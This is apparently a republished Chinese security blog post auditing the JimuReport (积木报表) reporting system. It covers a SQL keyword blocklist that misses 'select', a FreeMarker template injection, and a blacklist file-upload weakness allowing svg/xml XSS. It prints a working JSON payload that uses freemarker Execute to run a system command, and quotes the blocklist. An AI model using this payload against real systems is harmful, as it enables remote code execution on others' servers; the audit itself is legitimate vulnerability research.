积木报表系统 代码审计

admin 2024年6月4日23:45:25评论21 views字数 2151阅读7分10秒阅读模式

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计            

梦到我打开了电脑,然后对网站进行渗透,发现使用了报表系统,于是乎,开始审计

积木报表系统,项目结构,如下,看上去很简单,实际上一点也不难    

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

            

核心代码在jar里面

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

            

怎么全局搜索呢?

反编译

反编译,然后导入source    

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

              

SQL注入

关键字搜索

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

             

跟进i.a(var2)    

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

              

发现存在关键字拦截

String[] var1 = " exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract|insert |alter |delete | grant |update |drop | chr | mid | master |truncate | char | declare |user()|".split("\|");

发现select不在里面,于是便可进行查询,有点像刷流氓的漏洞

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

              

模板注入

从日志中,发现了信息    

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

              

存在模版解析

我们接着跟进,var2 又在628行被带入执行

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

              

跟进parseReportSql

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

              

parseReportSql 会传递四个参数,var7 为token 赋值给var8, 这是默认自带的,故忽略    

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

              

他会判断paramArray是否为空,if里面是传递三个参数,sql 和paramArray 是可控的

else里同样也是三个参数,但可控的参数只有一个sql,但其实f.a方法里的代码是一模一样的

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

              

var0 为sql参数,var1 为token,var2 跟进传递的参数为null还是string,看前面的if判断

然后进入i.a(var0) 是前面的sql关键字过滤

跟踪b(var0,var1),发现这里面就做了一些遍历和关键字替换    

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

              

a(var2, var0)

public static String a(JSONArray var0, String var1) {                  HashMap var2 = new HashMap(5);                  String var3 = "\$\{(\S+)\}";                  Pattern var4 = Pattern.compile(var3);                  Matcher var5 = var4.matcher(var1);              

while(var5.find()) { String var6 = var5.group().replace("${", "").replace("}", ""); var2.put(var6, var5.group()); }

if (null != var0 && var0.size() > 0) { for(int var11 = 0; var11 < var0.size(); ++var11) { JSONObject var7 = var0.getJSONObject(var11); Object var8 = var7.get("paramName"); Object var9 = var7.get("paramValue"); String var10; if (g.d(var8) && g.d(var9)) { var10 = ExpressUtil.a(String.valueOf(var9), (Map)null); var1 = var1.replace("${" + var8 + "}", var10); var1 = var1.replace("'${" + var8 + "}'", var10); }

if (g.d(var8)) { if (g.d(var9)) { var10 = ExpressUtil.a(String.valueOf(var9), (Map)null); var2.put(String.valueOf(var8), var10); } else { var2.put(String.valueOf(var8), ""); } } } }

var1 = FreeMarkerUtils.a(var1, var2); return var1; }

这段代码主要用于从给定的 JSONArray 中提取信息,并根据这些信息对指定字符串进行复杂的替换和处理操作,对var1的操作就replace一下

然后到了目标注入的触发函数

var1 = FreeMarkerUtils.a(var1, var2)

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

              

Template 函数就是漏洞根源

{"sql":"select 'result:<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}'","dbSource":"","type":"0"}

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

              

如果深入想学习模板注入,可以跳转下面文章

Java审计之Freemarker模板注入漏洞

Java安全之Thymeleaf模板注入漏洞

Java安全之Velocity模板注入漏洞

利用GPT进行代码审计-Beelt模板注入


文件上传-xss

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

org.jeecg.modules.jmreport.desreport.util.b.a(var5)

使用黑名单校验,但pdf,xml,svg可上传

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

路径也给了,访问还是404 

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计


原文始发于微信公众号(轩公子谈技术):昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月4日23:45:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   积木报表系统 代码审计https://cn-sec.com/archives/2815628.html

发表评论

匿名网友 填写信息